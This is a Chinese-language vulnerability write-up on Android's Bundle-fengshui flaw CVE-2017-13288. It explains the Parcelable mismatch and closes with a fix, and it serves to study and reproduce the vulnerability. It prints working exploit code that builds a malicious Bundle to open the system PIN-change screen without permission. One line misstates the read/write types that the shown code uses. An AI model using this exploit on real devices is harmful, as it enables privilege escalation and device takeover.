跳转至

Bundle 风水”漏洞复现与恶意代码分析

漏洞综述

相关简介

Bundle 是一种在 Android 系统中被用来在各个应用间传输数据的结构。Bundle 的内部实现是哈希表,以键值对的形式存储数据,并通过序列化(将类转换成字节串)与反序列化(将字节串转换成原类型)的方式实现不同应用间传输数据。

CVE-2017-13288

CVE-2017-13288 是一个 CVSS3.0(通用漏洞评分系统)评分 7.8 分、评级 high 的高危漏洞。它通过 Bundle 的序列化与反序列化不匹配,绕过 intent 的检测机制,从而获得 LaunchAnyWhere 权限。

该漏洞由于android.bluetooth.le.PeriodicAdvertisingReport这个类型存在 Parcelable 序列化与反序列化不匹配漏洞,进而导致在类型读与写入过程中发生变化,结果导致恶意 intent 绕过了检测。

CVE-2023-20963

CVE-2023-20963 是一个于 2023 3 月披露的危险漏洞,基本原理与前者相同。该漏洞此前在某知名电商应用中被发现使用,随后 Google Play 立即下架了该应用。由于该应用的广泛使用,全球受影响的设备数可谓史无前例。

漏洞原理

LaunchAnyWhere 简介

LaunchAnyWhere 是一个早期存在于 Android 系统之中的危险漏洞。该漏洞利用了 AccountManagerService 接口,通过提供“添加账号”的服务,借助 Settings 的高权限完成越权。下图展示了完成addAccount的全过程:

img

该漏洞在 Android 4.4 中被修复,修复方法是,在 AccountManagerService 中对应用指定的 intent 进行检查,确保 intent 中目标 Activity 所属包的签名与调用应用一致。

PeriodicAdvertisingReport 简介

PeriodicAdvertisingReport 是在 Android 系统中存在的一个类,是 Parcelabel 的子类,官方的代码中给出了 PeriodicAdvertisingReport 的序列化以及反序列化的实现:

@Override
public void writeToParcel(Parcel dest, int flags) {
    dest.writeInt(syncHandle);
    dest.writeLong(txPower);
    dest.writeInt(rssi);
    dest.writeInt(dataStatus);
    if (data != null) {
        dest.writeInt(1);//flag == 1
        dest.writeByteArray(data.getBytes());
    } else {
        dest.writeInt(0);//flag == 0
    }
}

private void readFromParcel(Parcel in) {
    syncHandle = in.readInt();
    txPower = in.readInt();
    rssi = in.readInt();
    dataStatus = in.readInt();
    if (in.readInt() == 1) {//flag == 1
        data = ScanRecord.parseFromBytes(in.createByteArray());
    }
}

其中,txPower在读入时为 long 而在输出时为 int,在此处造成了不匹配并导致错位,引发漏洞的产生。

CVE-2017-13288 漏洞原理

攻击者通过构造特殊的恶意 Parcel,使得该 Parcel 在被读取后其中的恶意 intent 被隐藏,而重新写入之后恶意 intent 被读入,并最终实现权限提升。

攻击者在提供 AccountAuthenticator 的应用中构造一个恶意 Bundle,其中带有两个键值对。其一为 PeriodicAdvertisingReport 对象,将 syncHandletxPowerrssidataStatus以及判断是否读取 dataflag设为 1,将恶意 intent 放于 data 之中(类型是 ByteArray);第二个键值对用于占位,使发生偏移后的 intent 可以被读取。此时这个类完成第一次序列化并传递给系统。

system_server 中,Bundle 被反序列化,生成一个 PeriodicAdvertisingReport 对象,读取了 syncHandletxPowerrssidataStatus以及data(均为 1),此时 intent 是一个 ByteArray 中的值,因此绕过了 checkKeyIntent 检查。

随后 system_server Bundle 序列化,由于此时txPower作为长整型被写入(相当于多出了一个 int 0),因此占据了 8 个字节,后面的内容不变。

Settings Bundle 反序列化,读取txPower时使用readInt函数,因此仅读取了其中的 4 位,而多出的 4 位导致了数据位置的偏移。随后读到的 rssi 0(多出的 4 位),dataStatus 1(原rssi),flag 1(原dataStatus),原flag中的 1 被当作 data 的长度读入,而原data的长度则变成了data 的内容。此时该 PeriodicAdvertisingReport 对象读取完毕,而由于偏移多出的,存在于原来的data之中的 intent 则替代原来的第二个键值对而暴露出来,最终实现以 Settings 应用的 system 权限启动任意 Activity,也就实现了攻击。

漏洞复现

下面通过实现一个简单应用的框架复现 CVE-2017-13288 漏洞,实现越权修改手机 PIN 密码。

提供 AuthenticatorService 服务

首先为了能够利用 Settings 的权限,同 LaunchAnyWhere 的实现方法,要先在 AndroidManifest.xml 中注册实现 AuthenticatorService

<service
    android:name=".AuthenticatorService"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="android.accounts.AccountAuthenticator"/>
    </intent-filter>
    <meta-data android:name="android.accounts.AccountAuthenticator"
        android:resource="@xml/authenticator">
    </meta-data>
</service>

实现 MyAuthenticator

AccountAuthenticator 中的addAccount 构造恶意 Bundle

函数实现如下:

@Override
public Bundle addAccount(AccountAuthenticatorResponse accountAuthenticatorResponse, String s, String s1, String[] strings, Bundle bundle) throws NetworkErrorException {
    Log.v(TAG,"addAccount");

    Bundle evil=new Bundle();
    Parcel bndlData=Parcel.obtain();
    Parcel pcelData=Parcel.obtain();

    pcelData.writeInt(2);  // 键值对的数量
    // 以下是第一个键值对
    pcelData.writeString("mismatch"); // Key
    pcelData.writeInt(4);  // 表示 Parcelabel 类型
    pcelData.writeString("android.bluetooth.le.PeriodicAdvertisingReport");
    pcelData.writeInt(1);  // syncHandle
    pcelData.writeInt(1);  // txPower
    pcelData.writeInt(1);  // rssi
    pcelData.writeInt(1);  // dataStatus
    pcelData.writeInt(1);  // flag
    pcelData.writeInt(-1); // 恶意KEY_INTENT的长度,暂时写入-1,完成写入后再修改

    int keyIntentStartPos=pcelData.dataPosition(); // 记下 intent 的起始位置
    pcelData.writeString(AccountManager.KEY_INTENT);
    pcelData.writeInt(4);  // 表示 Parcelabel 类型
    pcelData.writeString("android.content.Intent"); 
    //以下是该 intent 的内容
    pcelData.writeString(Intent.ACTION_RUN);  // Intent Action
    Uri.writeToParcel(pcelData,null);  // uri = null
    pcelData.writeString(null);  // mType = null
    pcelData.writeInt(0x10000000);  // Flags
    pcelData.writeString(null);  // mPackage = null
    pcelData.writeString("com.android.settings");
    pcelData.writeString("com.android.settings.password.ChooseLockPassword");
    pcelData.writeInt(0);  // mSourceBounds = null
    pcelData.writeInt(0);  // mCategories = null
    pcelData.writeInt(0);  // mSelector = null
    pcelData.writeInt(0);  // mClipData = null
    pcelData.writeInt(-2); // mContentUserHint
    pcelData.writeBundle(null);

    int keyIntentEndPos=pcelData.dataPosition(); // intent 的终止位置
    int lengthOfKeyIntent=keyIntentEndPos-keyIntentStartPos; // intent 的长度
    pcelData.setDataPosition(keyIntentStartPos-4);  // 移动指针到指定位置
    pcelData.writeInt(lengthOfKeyIntent);  // 写入 intent 长度
    pcelData.setDataPosition(keyIntentEndPos);
    Log.d(TAG, "Length of KEY_INTENT is 0x" + Integer.toHexString(lengthOfKeyIntent));
    // 以下是第二个键值对
    pcelData.writeString("Padding-Key");
    pcelData.writeInt(0);  // 表示 String 类型
    pcelData.writeString("Padding-Value");
    int length = pcelData.dataSize();
    Log.d(TAG,"length = "+length);
    bndlData.writeInt(length);
    bndlData.writeInt(0x4c444e42);  // Bundle 魔数
    bndlData.appendFrom(pcelData,0,length);
    bndlData.setDataPosition(0);
    evil.readFromParcel(bndlData);
    Log.d(TAG,evil.toString());
    return evil;
}

MainActivity 中请求添加账户

通过应用自行请求添加账户从而触发漏洞而不需要用户在设置中手动添加用户。代码略。

输出恶意 Bundle 的内容

用于调试于更直观的理解。代码略。

复现攻击

运行应用,可以看见成功跳转至设置密码界面

img1

在日志中也输出了相应信息:

img2

010 Editor 打开输出的 Bundle 也可以非常方便地分析攻击的实现:

img3

其中前四个字节存放 Bundle 大小0x220,随后四个字节为 Bundle 魔数 0x4c444e42,再随后是键值对个数。更多具体分析见addAccount函数中的注释内容。

漏洞修复

仅仅就修复该漏洞而言,只需将writeToParcel中的writeLong改为writeInt即可。但事实上这个方式仅仅解决了这一个不匹配漏洞,而同类型的漏洞在近年来一直被不断地挖掘与利用。因此可以尝试通过更多的其他方案实现威胁的缓释,例如可以通过在结构、容器的头部记录对应数据的大小等,当发生序列化与反序列化不匹配时也不会因此而导致完全错位。

Reference

[1] NVD - CVE-2017-13288. https://nvd.nist.gov/vuln/detail/CVE-2017-13288

[2] NVD - CVE-2023-20963. https://nvd.nist.gov/vuln/detail/CVE-2023-20963

[3] Git at Google, PeriodicAdvertisingReport.java. https://android.googlesource.com/platform/frameworks/base/+/4525320403bfb85eb1629f9b43718970491f98ed/core/java/android/bluetooth/le/PeriodicAdvertisingReport.java

[4] 1ce0ear, Bundle Fengshui Study. https://1ce0ear.github.io/2020/05/14/bundle-fengshui-1/

[5] Tr0e, Android LaunchAnywhere 组件权限绕过漏洞 . https://blog.csdn.net/weixin_39190897/article/details/125030718

[6] stven0king, launchanywhere. https://github.com/stven0king/launchanywhere/blob/main/file/bundle-fengshui.md

[7] Android Developers, WorkSource. https://developer.android.com/reference/android/os/WorkSource

[8] Git at Google, WorkSource.java. https://android.googlesource.com/platform/frameworks/base/+/266b3bddcf14d448c0972db64b42950f76c759e3/core/java/android/os/WorkSource.java

[9] 深蓝 DarkNavy, 2022 年度最“不可赦”漏洞 . https://mp.weixin.qq.com/s/P_EYQxOEupqdU0BJMRqWsw

[10] davincifans123, pinduoduo_backdoor. https://github.com/davincifans123/pinduoduo_backdoor